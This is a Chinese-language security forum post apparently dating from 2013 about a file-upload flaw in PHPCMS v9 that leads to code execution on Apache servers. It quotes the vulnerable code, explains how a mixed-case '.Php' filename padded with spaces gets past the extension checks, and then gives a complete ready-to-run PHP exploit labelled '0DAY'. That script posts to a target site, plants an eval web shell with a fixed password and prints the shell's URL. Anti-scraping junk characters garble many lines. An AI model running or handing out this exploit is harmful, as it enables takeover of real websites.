找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2377|回复: 0
打印 上一主题 下一主题

PHPCMS v9 Getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-7 13:06:41 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
漏洞类型: 文件上传导致任意代码执行# D2 B/ G# C  h& u

0 R. O9 o  p2 w: C$ U简要描述:
) D: D4 C/ F: I
; M5 g6 w5 p' r7 n! Nphpcms v9 getshell (apache)
5 n. W! M2 O9 W( h详细说明:/ B  U* ^0 Q; \3 o
' ?) ^' a' t, i  U* r5 a5 ^6 Q
漏洞文件:phpcms\modules\attachment\attachments.php+ }( E& i" C& P( `/ ?- j6 {' u) g
$ }/ t# `- X) P4 c$ y$ r
public function crop_upload() {  (isset($GLOBALS["HTTP_RAW_POST_DATA"])) {  $pic = $GLOBALS["HTTP_RAW_POST_DATA"];  if (isset($_GET['width']) && !empty($_GET['width'])) {  $width = intval($_GET['width']);  }  if (isset($_GET['height']) && !empty($_GET['height'])) {  $height = intval($_GET['height']);  }  if (isset($_GET['file']) && !empty($_GET['file'])) {  $_GET['file'] = str_replace(';','',$_GET['file']);//过滤了分号  if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();//is_image()检测是个关键  if (strpos($_GET['file'], pc_base::load_config('system', 'upload_url'))!==false) {  $file = $_GET['file'];  $basenamebasename = basename($file);//获取带有后缀的文件名  if (strpos($basename, 'thumb_')!==false) {  $file_arr = explode('_', $basename);  $basename = array_pop($file_arr);  }  $new_file = 'thumb_'.$width.'_'.$height.'_'.$basename;  } else {  pc_base::load_sys_class('attachment','',0);  $module = trim($_GET['module']);  $catid = intval($_GET['catid']);  $siteid = $this->get_siteid();  $attachment = new attachment($module, $catid, $siteid);  $uploadedfile['filename'] = basename($_GET['file']);  $uploadedfile['fileext'] = fileext($_GET['file']);  if (in_array($uploadedfile['fileext'], array('jpg', 'gif', 'jpeg', 'png', 'bmp'))) {  $uploadedfile['isimage'] = 1;  }  $file_path = $this->upload_path.date('Y/md/');  pc_base::load_sys_func('dir');  dir_create($file_path);  $new_file = date('Ymdhis').rand(100, 999).'.'.$uploadedfile['fileext'];  $uploadedfile['filepath'] = date('Y/md/').$new_file;  $aid = $attachment->add($uploadedfile);  }  $filepath = date('Y/md/');  file_put_contents($this->upload_path.$filepath.$new_file, $pic);//文件名可控、$pic可控  } else {  return false;  }  echo pc_base::load_config('system', 'upload_url').$filepath.$new_file;  exit;  }  }
& p$ D9 |; e% R, B5 }9 G5 G5 J后缀检测:phpcms\modules\attachment\functions\global.func.php1 S8 l5 ~# Z; s/ K, a" r
5 B& E  \6 o7 F& @" X
; Z$ h# r" m; p: p# z& m! v+ {6 j

  v: }  g( N. k0 }8 ?: v( E8 ufunction is_image($file) {    $ext_arr = array('jpg','gif','png','bmp','jpeg','tiff');    $ext = fileext($file);关键地方    return in_array($ext,$ext_arr) ? $ext_arr :false;   }  1 t: j/ @7 x- Z- c

6 C, H* o% F4 Y& ?* O2 q5 n关键函数:
& i( @. H$ c! ?! B7 P+ M) p1 F+ G2 H5 I! c- |" ~8 o) b+ v1 L5 H

( H% _+ e" z/ b; X& T! i7 m$ t' n* _' S4 Z
function fileext($filename) {  return strtolower(trim(substr(strrchr($filename, '.'), 1, 10))); }  0 F: }4 c3 s0 [

$ X  L- Q7 f/ X3 N3 n+ h. |$ W  Fileext函数是对文件后缀名的提取。
6 y4 V( O  F! r4 ]8 {8 J根据此函数我们如果上传文件名为ddd.Php.jpg%20%20%20%20%20%20%20Php
) c; ?- Q, j# B0 x7 s经过此函数提取到的后缀还是jpg,因此正在is_image()函数中后缀检测被绕过了。
' X' i& a& N4 L* g6 b% r/ A' ~我们回到public function crop_upload() 函数中: g& c% D4 v8 t2 a8 `
if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();3 Q, ]. c6 s9 N8 z! h7 R0 R
在经过了is_image的判断之后又来了个.php的判断,在此程序员使用的是strpos函数
  Z, B/ |0 M- v1 T这个函数是对大小写敏感的函数我们使用.Php就可以直接绕过了。: s' q7 Q4 r0 W+ `$ n& B( t
经过上边的两层的过滤我们的ddd.Php.jpg%20%20%20%20%20%20%20Php后缀依然有效。3 q* o; t# Q: Z) C/ X7 z
最后$basename变量的值就为ddd.Php.jpg%20%20%20%20%20%20%20Php 然后使用file_put_contents函数写入到了指定目录。3 }$ t: z# i2 _7 M
看见ddd.Php.jpg%20%20%20%20%20%20%20Php这个后缀,大家应该明白了,它用在apache搭建的服务器上可以被解析。- s  _' b* h5 A9 v  P$ D# H, w
漏洞证明:. C  k( h: _( i( W

/ Y' ]# B2 x0 H) Q# ~% o- a2 C" O. ]exp:' b6 s5 {! O( D0 B/ X0 S
( ?" |: l2 J+ n( }* I) D
<?php
$ ?$ b9 R; H' kerror_reporting(E_ERROR);
" o' Z* q( L9 Y" u; Kset_time_limit(0);. p% p' x+ v& O7 m- z' O& Z3 B
$pass="ln";
. P& l7 A4 D$ D6 R) r: O1 \/ ]8 jprint_r('3 l1 E: e, q0 ]* f
+---------------------------------------------------------------------------+' r, ^6 p7 u6 o: K' r" l8 z! u
PHPCms V9 GETSHELL 0DAY
7 M8 D+ \2 G, U0 d( w5 G. ^code by L.N.
6 \1 O8 z8 g+ D; R4 t1 D) e, b9 j" s7 @5 }# S
apache 适用(利用的apache的解析漏洞) // 云安全 www.yunsec.net
6 {. G! |" N" p: ^) o' O6 V+---------------------------------------------------------------------------+) n, G  {2 ?; j" T0 a' s* \
');
3 }7 Z; f; `9 E" @if ($argc < 2) {
! x# k+ B. y. A% h! L: y' }print_r('4 A5 }+ K/ s0 ^3 Q/ s
+---------------------------------------------------------------------------+
5 Q& r/ z6 E3 Z: V8 J9 o5 R& ^Usage: php '.$argv[0].' url path
8 s: j9 x) f1 X+ o# g) D2 t6 r; S& {9 f/ f9 q
Example:
% W# l! l2 ]( A9 n2 T1 Z9 Y: y1.php '.$argv[0].' lanu.sinaapp.com
4 u- m" j3 ?6 o2 r( V2.php '.$argv[0].' lanu.sinaapp.com /phpcms
* D& c3 R/ c; ^& ]+---------------------------------------------------------------------------+  @  a- a; B% l- S5 A7 t3 D2 r
');- q5 H1 [5 R6 o( F, b" }: r
exit;& S8 Z; b% p* |- L( A- J
}7 i% [0 _5 c( K. r! Q3 P
7 V4 _! W/ y( k* C- |7 E9 G+ \
$url = $argv[1];$ L8 t7 i, b$ Y4 K! k+ a4 ?4 [
$path = $argv[2];6 t# D1 Y0 R7 S
$phpshell = '<?php @eval($_POST[\''.$pass.'\']);?>';  ^% y* {3 f: ^- e9 z9 {$ }
$file = '1.thumb_.Php.JPG%20%20%20%20%20%20%20Php';0 b4 e' U* _4 M* P, Z* ?) e
if($ret=Create_dir($url,$path))
) E. _+ l4 x9 T9 P& V0 Q7 r7 Q/ B{! y; i1 j0 n) `/ m$ d
//echo $ret;
4 [9 |8 L4 V, j$pattern = "|Server:[^,]+?|U";
; V/ T7 _$ w' d" A; Upreg_match_all($pattern, $ret, $matches);
2 h% K- W$ [4 ?9 Aif($matches[0][0])
0 I4 p$ X; H5 f4 k9 m. G( E* S{
! ]5 K) S; o6 j9 K3 K0 b0 Q- `& rif(strpos($matches[0][0],'Apache') == false), f! @5 j; e& ]- z% {, P0 Z
{9 ^! y( M4 \. @" Y0 h$ o, O( ~: `( }
echo "\n亲!此网站不是apache的网站。\n";exit;
% d7 |& `( n% g0 c! `% [}* a0 P  I& Z! x- {7 G; z
}. h! v! X7 A( D, _3 e
$ret = GetShell($url,$phpshell,$path,$file);
1 c, g( x* Z+ a0 Q# B8 {5 z$pattern = "|http:\/\/[^,]+?\.,?|U";
" G* d/ h$ c  E) dpreg_match_all($pattern, $ret, $matches);
; L" _. t3 s7 ?0 i- B3 Jif($matches[0][0])
# Y* z, E3 f' R* ^( |' p{
8 s& V9 F' n' l3 \echo "\n".'密码为: '.$pass."\n";3 u( K8 C7 D9 S
echo "\r\nurl地址: ".$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;
& D. I8 s6 ]1 m* h}8 w( U5 G# W# O; J
else/ Q* E% Y- y5 y$ O
{0 V$ [& @# r: c8 E' J, l
$pattern = "|\/uploadfile\/[^,]+?\.,?|U";
7 V9 ~9 O+ a! q: ?& x; h7 xpreg_match_all($pattern, $ret, $matches);
1 H. F* z5 T; o& Q5 Iif($matches[0][0])
' h0 c) E' s/ Q, Q  O+ }9 ~{5 s2 B% n9 C$ t
echo "\n".'密码为: '.$pass."\n";
1 _8 a  m% A7 p/ Becho "\r\nurl地址:".'http://'.$url.$path.$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;4 @# W) n  Z6 S0 p9 G$ M
}
, ^* L9 o/ }- g9 }* ielse
# i* H  q7 f/ d( Q5 A{& B* r8 u5 l: I: |+ F; _& z+ L
echo "\r\n没得到!\n";exit;) _6 c# b' k! \" l
}
0 b" _7 m7 T+ i* Y( I/ L}6 n' c) @9 P3 Q# M. ^4 d
}1 A/ o2 d% k, s# u
4 K. Z' z8 g: }% b
function GetShell($url,$shell,$path,$js). ]6 v$ j5 i; Q$ U! M
{
0 I  X( g: Z$ ]) S! j- u( A$content =$shell;; O6 K* V$ i- n* Z+ h7 {
$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://".$url.$path."/uploadfile/".$js." HTTP/1.1\r\n";% w5 {$ z9 `- {3 A
$data .= "Host: ".$url."\r\n";
1 Y" J( c( P. [9 E# F$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";/ q( x1 H( K* \. _. c+ n# t
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";, O/ t6 @$ P3 ?$ I
$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
& R) u/ J9 G/ s$data .= "Connection: close\r\n";
: I: I( D) ?% y9 w- w$data .= "Content-Length: ".strlen($content)."\r\n\r\n";+ Z% |7 C/ W9 u! |+ B
$data .= $content."\r\n";3 [  M. e8 J( L+ [4 Y) u8 F, E
$ock=fsockopen($url,80);8 P0 x! C5 _7 q; n% g
if (!$ock)$ X& f* u0 F; @- z! Q( z0 n
{' [% ]1 k6 g. r; f: b
echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;
9 z5 l- f. ]$ c) q/ X}
; C+ k) a9 m& C- o4 Zelse
7 z# a$ Z' T8 b{
% m" D( `" h% n( I/ ^0 T- S  A. vfwrite($ock,$data);
  W) E& ~& @3 {$resp = '';# P8 c# ^+ ?' \+ ~
while (!feof($ock))
: }$ u3 |- z, g$ y{, W: ~" ~7 j7 `% b$ j- H/ `
$resp.=fread($ock, 1024);
9 Q2 o1 Y# s8 I+ Q# |; G}3 ]' ]. N" j8 P+ g8 U% ?
return $resp;
& w  S- m) `5 c}
5 j% t0 r2 _7 g8 c1 Z3 z- ~6 q+ h1 W; {}
3 h0 g: X( j6 d6 d* U* w
0 p$ }( q' @; q) e3 X7 }6 t2 q; Rfunction Create_dir($url,$path='')4 F! l  `" E& Y- [! O- m
{0 S7 G+ [& v& g6 a7 I+ H0 h
$content ='I love you';3 S/ X! J+ M' s: ^9 j
$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://lanu.sinaapp.com/1.jpg HTTP/1.1\r\n";
9 P2 b) J( j9 y1 ^! N$data .= "Host: ".$url."\r\n";+ [+ S9 F( k, ^$ U3 Q7 M
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
9 X9 {% x+ V# k* o. r5 i( d$ ^$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
/ R' t4 f4 E6 h# Y6 l  N! `$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";# E5 t% F" J0 s. D( q( n# Y& Z
$data .= "Connection: close\r\n";* P- w4 |/ U# F
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
0 V& U3 |+ f: n) Y' x0 Y$data .= $content."\r\n";$ @/ {" m! h5 M7 L
$ock=fsockopen($url,80);& W2 N3 C( I% ]* u+ C4 f1 a6 z
if (!$ock)1 j" w8 x# [8 ~8 N
{
* g3 ~( X$ K1 s1 Y7 X% techo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;
) a1 |% M' q* F0 p( E}/ A3 t, \9 u# g& ^
fwrite($ock,$data);) l. j( I- y3 s! N) J( E
$resp = '';. z& Q; g6 p# r
while (!feof($ock))6 ~5 s2 z+ t- I2 Q
{9 j$ i7 h( w/ @+ d
$resp.=fread($ock, 1024);
% ]( N  f, D& M. W( i" `}' d, o( S( P: m; E
return $resp;
+ Z6 d/ a# {5 }6 `7 i( X' u+ I}& ?$ l, |) |2 L$ P& \1 L8 F$ R+ a1 o! Y
?> 8 d* O# b/ R0 T% v5 t2 p
, h/ Z) u! g$ I% j# K3 e
修复方案:, }) x" A  ]6 F. P- n

" D0 Z# L7 v0 @- w6 U& u- D4 R过滤过滤再过滤* M- m+ B/ l) m; ]3 L
6 D% @, k' Z& ?" K* V/ G- D
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表